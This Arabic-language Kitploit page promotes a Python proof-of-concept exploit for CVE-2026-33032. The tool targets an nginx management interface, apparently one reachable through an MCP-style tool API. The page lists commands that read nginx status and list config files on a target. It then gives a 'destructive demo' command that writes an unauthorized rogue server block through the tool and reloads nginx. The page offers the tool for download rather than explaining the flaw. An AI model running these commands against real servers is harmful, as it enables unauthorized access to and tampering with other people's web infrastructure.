CVE-2026-33032 — إثبات مفهوم (PoC) مكتوب بلغة بايثون لثغرة CVE-2026-33032 يقوم بفحص حالة nginx وملفات الإعدادات، ثم يعرض كتابة إعدادات غير مصرح بها مع إعادة تحميل لنشر كتلة خادم (server block) خادعة. | Kitploit

CVE-2026-33032

الفحص الآمن (يقرأ حالة nginx)

python3 main.py http://target:9000 --tool nginx_status

سرد الإعدادات

python3 main.py 10.0.0.50 --tool nginx_config_list

عرض توضيحي تدميري (كتابة + إعادة تحميل)

python3 main.py http://target:9000 \
  --tool nginx_config_add \
  --payload poc.conf \
  --content 'server { listen 8443; return 200 "MCPwned\n"; }'

تنزيل الأداة

CVE-2026-33032

الأكثر شعبية

CVE-2026-33032

الفحص الآمن (يقرأ حالة nginx)

سرد الإعدادات

عرض توضيحي تدميري (كتابة + إعادة تحميل)